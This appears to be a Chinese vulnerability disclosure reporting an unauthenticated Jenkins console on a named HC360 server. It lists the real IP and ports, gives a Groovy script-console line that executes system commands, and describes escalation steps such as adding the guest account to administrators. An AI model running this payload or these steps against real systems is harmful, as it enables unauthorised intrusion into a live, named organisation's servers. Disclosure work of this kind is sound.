慧聪网Jenkins系统未授权访问,可直接执行系统命令

https://58.252.73.136:8007/ (慧聪网询盘宝反馈活动)

https://58.252.73.136:8001/login.aspx (慧聪家电城CRM系统)





https://58.252.73.136:8080(jenkins管理后台,免密码访问)



https://58.252.73.136:8080/script下执行cmd命令
 

println "ipconfig".execute().text


 





当前权限
 



查看用户
 


 

添加guest到administrators组
 



解锁guest用户
 



ping 114.114.114.114
 

解决方案:

设置强口令